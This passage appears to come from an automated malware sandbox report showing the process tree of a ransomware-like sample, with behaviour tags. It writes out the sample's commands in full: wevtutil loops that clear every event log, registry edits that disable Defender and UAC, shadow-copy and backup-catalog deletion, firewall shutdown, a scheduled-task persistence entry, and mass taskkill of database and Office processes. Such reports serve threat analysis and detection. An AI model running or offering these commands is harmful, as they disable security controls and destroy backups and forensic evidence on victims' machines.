        wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"
        7⤵
        
        PID:45260
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"
        7⤵
        
        PID:45272
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Remotefs-UTProvider/Diagnostic"
        7⤵
        
        PID:45284
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
        7⤵
        
        PID:45296
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
        7⤵
        
        PID:45312
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"
        7⤵
        Clears Windows event logs
        
        PID:45320
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"
        7⤵
        
        PID:45332
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
        7⤵
        
        PID:45340
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"
        7⤵
        
        PID:45352
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"
        7⤵
        
        PID:45368
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"
        7⤵
        
        PID:45384
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
        7⤵
        
        PID:45396
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Security-IdentityListener/Operational"
        7⤵
        
        PID:45408
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"
        7⤵
        
        PID:45416
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Sens/Debug"
        7⤵
        
        PID:45428
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"
        7⤵
        
        PID:45444
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"
        7⤵
        
        PID:45456
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"
        7⤵
        
        PID:45460
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Setup/Analytic"
        7⤵
        
        PID:45480
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-SetupCl/Analytic"
        7⤵
        
        PID:45488
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-SetupQueue/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:45504
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-SetupUGC/Analytic"
        7⤵
        
        PID:45516
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-ShareMedia-ControlPanel/Diagnostic"
        7⤵
        
        PID:45536
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-BootAnim/Diagnostic"
        7⤵
        
        PID:45540
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Common/Diagnostic"
        7⤵
        
        PID:45556
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-CredUI/Diagnostic"
        7⤵
        
        PID:45560
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Logon/Diagnostic"
        7⤵
        
        PID:45576
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-PasswordProvider/Diagnostic"
        7⤵
        
        PID:45588
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-AuthUI-Shutdown/Diagnostic"
        7⤵
        
        PID:45600
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-Core/Diagnostic"
        7⤵
        
        PID:45616
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-DefaultPrograms/Diagnostic"
        7⤵
        
        PID:45632
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-Shwebsvc"
        7⤵
        
        PID:45636
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shell-ZipFolder/Diagnostic"
        7⤵
        
        PID:45648
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Shsvcs/Diagnostic"
        7⤵
        
        PID:45660
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Sidebar/Diagnostic"
        7⤵
        
        PID:45672
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Speech-UserExperience/Diagnostic"
        7⤵
        
        PID:45684
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Spell-Checking/Analytic"
        7⤵
        
        PID:45696
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-SpellChecker/Analytic"
        7⤵
        Clears Windows event logs
        
        PID:45712
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-StickyNotes/Admin"
        7⤵
        
        PID:45720
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-StickyNotes/Debug"
        7⤵
        
        PID:45736
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-StickyNotes/Diagnostic"
        7⤵
        
        PID:45748
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-StorDiag/Operational"
        7⤵
        
        PID:45756
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-StorPort/Operational"
        7⤵
        
        PID:45772
        
        C:\Windows\SysWOW64\wevtutil.exe
        
        wevtutil.exe cl "Microsoft-Windows-Subsys-Csr/Operational"
        7⤵
        
        PID:45780
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fi "ImageName eq 9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe" /fo csv
        5⤵
        Enumerates processes with tasklist
        
        PID:42428
    - - C:\Windows\SysWOW64\find.exe
        
        find /I "9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe"
        5⤵
        
        PID:42396
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
        5⤵
        Executes dropped EXE
        
        PID:42828
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:42920
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 15 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:41600
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\Admin\AppData\S-2153.bat'" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1308
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c echo %date%-%time%
  2⤵
  PID:2808
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
  2⤵
  PID:2908
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2948
- - C:\Windows\SysWOW64\find.exe
    find /i "os name"
    3⤵
    PID:2944
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
  2⤵
  PID:2984
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2116
- - C:\Windows\SysWOW64\find.exe
    find /i "original"
    3⤵
    PID:352
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall set currentprofile state off&netsh firewall set opmode mode=disable&netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes&wbadmin delete catalog -quiet
  2⤵
  PID:2312
- - C:\Windows\SysWOW64\reg.exe
    reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:948
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:1356
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1080
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:772
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1708
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1848
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskkill /im mydesktopqos.exe&taskkill /im isqlplussvc.exe&taskkill /im xfssvccon.exe&taskkill /im mydesktopservice.exe&taskkill /im ocautoupds.exe&taskkill /im agntsvc.exe&taskkill /im encsvc.exe&taskkill /im firefoxconfig.exe&taskkill /im tbirdconfig.exe&taskkill /im ocomm.exe&taskkill /im mysqld.exe&taskkill /im mysqld-nt.exe&taskkill /im mysqld-opt.exe&taskkill /im dbeng50.exe&taskkill /im sqbcoreservice.exe&taskkill /im excel.exe&taskkill /im infopath.exe&taskkill /im msaccess.exe&taskkill /im mspub.exe&taskkill /im onenote.exe&taskkill /im outlook.exe&taskkill /im powerpnt.exe&taskkill /im steam.exe&taskkill /im thebat.exe&taskkill /im thebat64.exe&taskkill /im thunderbird.exe&taskkill /im visio.exe&taskkill /im winword.exe&taskkill /im wordpad.exe
  2⤵
  PID:376
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im msftesql.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im sqlagent.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3012
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im sqlbrowser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im sqlservr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im sqlwriter.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im oracle.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2968
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im ocssd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2436
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im dbsnmp.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im synctime.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im agntsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2212
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mydesktopqos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im isqlplussvc.exe
    3⤵
    PID:2040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im xfssvccon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2888
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mydesktopservice.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im ocautoupds.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im agntsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im encsvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im firefoxconfig.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im tbirdconfig.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im ocomm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1572
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mysqld.exe
    3⤵
    - Kills process with taskkill
    PID:2872
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mysqld-nt.exe
    3⤵
    PID:2628
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mysqld-opt.exe
    3⤵
    - Kills process with taskkill
    PID:1476
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im dbeng50.exe
    3⤵
    - Kills process with taskkill
    PID:1552
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im sqbcoreservice.exe
    3⤵
    - Kills process with taskkill
    PID:2856
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im excel.exe
    3⤵
    - Kills process with taskkill
    PID:2900
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im infopath.exe
    3⤵
    - Kills process with taskkill
    PID:560
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im msaccess.exe
    3⤵
    - Kills process with taskkill
    PID:2912
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mspub.exe
    3⤵
    - Kills process with taskkill
    PID:1784
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im onenote.exe
    3⤵
    - Kills process with taskkill
    PID:2896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im outlook.exe
    3⤵
    - Kills process with taskkill
    PID:2108
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im powerpnt.exe
    3⤵
    PID:844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im steam.exe
    3⤵
    - Kills process with taskkill
    PID:2240
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im thebat.exe
    3⤵
    - Kills process with taskkill
    PID:2164
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im thebat64.exe
    3⤵
    - Kills process with taskkill
    PID:1276
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im thunderbird.exe
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im visio.exe
    3⤵
    - Kills process with taskkill
    PID:1708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im winword.exe
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im wordpad.exe
    3⤵
    - Kills process with taskkill
    PID:572
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /im mshta.exe /f
  2⤵
  PID:35132
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im mshta.exe /f
    3⤵
    - Kills process with taskkill
    PID:35140
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Documents and Settings\Admin\Desktop\ReadMe.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:35176
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\ReadMe.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:35192
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
  2⤵
  PID:35212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wevtutil.exe el
    3⤵
    PID:35208
  - - C:\Windows\SysWOW64\wevtutil.exe
      wevtutil.exe el
      4⤵
      PID:35220
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Analytic"
    3⤵
    PID:35268
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Application"
    3⤵
    PID:35316
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "DebugChannel"
    3⤵
    PID:35324
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "DirectShowFilterGraph"
    3⤵
    PID:35340
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "DirectShowPluginControl"
    3⤵
    PID:35372
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Els_Hyphenation/Analytic"
    3⤵
    PID:35408
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "EndpointMapper"
    3⤵
    PID:35432
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "ForwardedEvents"
    3⤵
    PID:35468
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "HardwareEvents"
    3⤵
    PID:35480
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Internet Explorer"
    3⤵
    PID:35496
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Key Management Service"
    3⤵
    PID:35508
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
    3⤵
    PID:35512
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Media Center"
    3⤵
    PID:35532
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "MediaFoundationDeviceProxy"
    3⤵
    PID:35548
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPerformance"
    3⤵
    PID:35540
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPipeline"
    3⤵
    - Clears Windows event logs
    PID:35576
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "MediaFoundationPlatform"
    3⤵
    PID:35596
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-IE/Diagnostic"
    3⤵
    PID:35600
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-IEDVTOOL/Diagnostic"
    3⤵
    PID:35628
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
    3⤵
    PID:35640
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
    3⤵
    PID:35656
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
    3⤵
    PID:35724
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
    3⤵
    PID:35736
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
    3⤵
    PID:35748
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"
    3⤵
    PID:35760
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
    3⤵
    PID:35776
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
    3⤵
    PID:35788
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
    3⤵
    PID:35800
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AltTab/Diagnostic"
    3⤵
    PID:35812
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
    3⤵
    PID:35820
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
    3⤵
    PID:4540
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
    3⤵
    PID:35848
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
    3⤵
    PID:35864
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
    3⤵
    PID:35876
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
    3⤵
    PID:35888
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
    3⤵
    - Clears Windows event logs
    PID:35900
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
    3⤵
    PID:35912
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
    3⤵
    PID:35932
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
    3⤵
    PID:35940
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
    3⤵
    PID:35960
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory/Debug"
    3⤵
    PID:35968
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
    3⤵
    PID:35980
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
    3⤵
    PID:36000
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
    3⤵
    PID:36004
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
    3⤵
    PID:36032
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
    3⤵
    PID:36028
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
    3⤵
    PID:36084
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
    3⤵
    PID:36044
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Backup"
    3⤵
    PID:36072
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
    3⤵
    - Clears Windows event logs
    PID:36052
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
    3⤵
    PID:36160
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
    3⤵
    PID:36128
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
    3⤵
    PID:36148
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
    3⤵
    PID:36136
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
    3⤵
    PID:36124
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
    3⤵
    PID:36112
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
    3⤵
    PID:36092
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
    3⤵
    PID:36176
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
    3⤵
    PID:36192
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
    3⤵
    PID:36204
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
    3⤵
    PID:36216
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
    3⤵
    PID:36228
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
    3⤵
    PID:36240
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
    3⤵
    PID:36244
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Calculator/Debug"
    3⤵
    PID:36264
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Calculator/Diagnostic"
    3⤵
    PID:36280
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
    3⤵
    PID:36288
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
    3⤵
    - Clears Windows event logs
    PID:36304
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:36312
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
    3⤵
    PID:36324
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
    3⤵
    PID:36336
- - C:\Windows\SysWOW64\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
    3⤵
    PID:36352
